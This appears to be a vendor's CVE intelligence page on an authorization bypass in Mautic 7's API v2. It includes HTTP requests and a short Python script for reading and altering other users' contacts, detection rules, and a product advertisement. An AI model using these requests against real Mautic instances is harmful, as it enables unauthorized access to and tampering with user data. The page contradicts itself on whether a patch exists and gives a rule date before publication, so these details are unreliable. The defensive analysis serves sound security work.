☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Mautic logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 🐛 CWE-863
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-9808

CVE-2026-9808 Authorization Bypass in Mautic
📅 PUBLISHED: 2026-05-29 12:16 UTC 🔄 UPDATED: 2026-09-23 20:23 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.20%
👁️
0.20% probability
5.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1548
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Open Source
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-9808 is an authorization bypass vulnerability in Mautic 7, specifically affecting its API v2 endpoints built on API Platform. The flaw allows low-privilege authenticated users to bypass owner-scope restrictions (e.g., viewown, editown) and access or modify resources belonging to other users. With a CVSS score of 7.1, this vulnerability poses a significant risk to data confidentiality and integrity, as it enables unauthorized access to sensitive user data and potential manipulation of resources. No public proof-of-concept (PoC) or patch is currently available, making it a critical concern for organizations using Mautic 7.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 7.1 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: Low (PR:L)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: High (I:H)
  • Availability Impact: None (A:N)
  • Threat Level: High – Exploitation is straightforward for authenticated users, leading to unauthorized data access and modification.

Deep Dive & Mechanics

The vulnerability resides in Mautic 7's API v2 endpoints, which utilize the API Platform framework. The core issue is a failure to properly enforce owner-scope restrictions when processing API requests. In Mautic, roles can be configured with permissions like viewown (view only own resources) or editown (edit only own resources). These permissions are intended to restrict users to interacting only with resources they own.

However, due to a logic flaw in the authorization layer, the ownership check is either missing or incorrectly implemented for certain API endpoints. An authenticated attacker can craft API requests that bypass the ownership validation, allowing them to:

  • Access resources (e.g., contacts, campaigns, emails) belonging to other users.
  • Modify resources (e.g., update, delete) belonging to other users.

The attack is performed by sending HTTP requests to the vulnerable API endpoints with manipulated resource identifiers (e.g., IDs) that belong to other users. The server fails to verify that the authenticated user is the owner of the requested resource, thus granting unauthorized access.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the authorization middleware or API resource configuration. A typical vulnerable pattern might look like:

// Vulnerable: No ownership check
public function getResource(int $id): Resource
{
    return $this->resourceRepository->find($id);
}

A patched version would include an ownership verification:

// Patched: Ownership check enforced
public function getResource(int $id, User $currentUser): Resource
{
    $resource = $this->resourceRepository->find($id);
    if ($resource->getOwner() !== $currentUser) {
        throw new AccessDeniedException();
    }
    return $resource;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Access to a Mautic 7 instance with API v2 enabled.
  • Valid low-privilege API credentials (e.g., a user with viewown permission).

Exploitation Steps:

  1. Authenticate to the Mautic API and obtain a bearer token.
  2. Identify a target resource (e.g., a contact) owned by another user. For example, if the target contact ID is 42, craft a GET request:
    GET /api/v2/contacts/42 HTTP/1.1
    Host: target-mautic-instance.com
    Authorization: Bearer <low-privilege-token>
    
  3. If the response returns the contact data, the vulnerability is confirmed.
  4. To modify resources, send a PATCH or PUT request:
    PATCH /api/v2/contacts/42 HTTP/1.1
    Host: target-mautic-instance.com
    Authorization: Bearer <low-privilege-token>
    Content-Type: application/json
    
    {"firstname": "Hacked"}
    

Automation Script (Python):

import requests

base_url = "https://target-mautic-instance.com/api/v2"
token = "low-privilege-token"
headers = {"Authorization": f"Bearer {token}"}

# Attempt to access another user's contact
response = requests.get(f"{base_url}/contacts/42", headers=headers)
if response.status_code == 200:
    print("Vulnerable! Accessed contact:", response.json())
else:
    print("Not vulnerable or access denied.")

Blue Team

Detection:

  • Monitor API logs for requests where a low-privilege user accesses resources with IDs that do not belong to them.
  • Look for patterns of rapid, sequential API calls to different resource IDs from the same user.

Mitigation:

  • Implement additional access control checks at the application level (e.g., in a reverse proxy or WAF) until a patch is available.
  • Restrict API access to only necessary users and monitor for anomalous behavior.

Indicators of Compromise (IOCs)

  • API Logs: Requests to /api/v2/* endpoints from low-privilege users accessing resource IDs outside their ownership scope.
  • HTTP Status Codes: Successful 200 responses to unauthorized resource access attempts.
  • User Activity: Unusual patterns of resource access or modification by users with viewown or editown permissions.

Detection Engineering

YARA Rule

rule CVE_2026_9808_Detection {
    meta:
        description = "Detects potential exploitation of CVE-2026-9808 in Mautic API logs"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $api_endpoint = "/api/v2/"
        $low_priv_user = /user_id=\d+&role=(viewown|editown)/
        $resource_id = /resource_id=\d+/
    condition:
        $api_endpoint and $low_priv_user and $resource_id
}

Sigma Rule

title: Mautic CVE-2026-9808 Authorization Bypass
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects unauthorized access to Mautic API resources by low-privilege users
logsource:
    category: application
    product: mautic
detection:
    selection:
        http_method: GET
        url_path: /api/v2/*
        user_role: viewown
        response_status: 200
    condition: selection
falsepositives:
    - Legitimate access to own resources
level: high

Suricata Rule

alert http any any -> any any (msg:"Mautic CVE-2026-9808 Authorization Bypass Attempt"; flow:to_server; content:"/api/v2/"; http_uri; content:"Authorization|3a| Bearer"; http_header; pcre:"/user_id=\d+&role=(viewown|editown)/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

  • Immediate: Disable API v2 endpoints if not required, or restrict access to trusted IPs only.
  • Short-term: Implement custom middleware to enforce ownership checks on all API endpoints.
  • Long-term: Apply the official patch once released by Mautic. Monitor the Mautic security advisory page for updates.
  • Workaround: Use API keys with minimal permissions and audit all API access logs regularly.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-9808/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.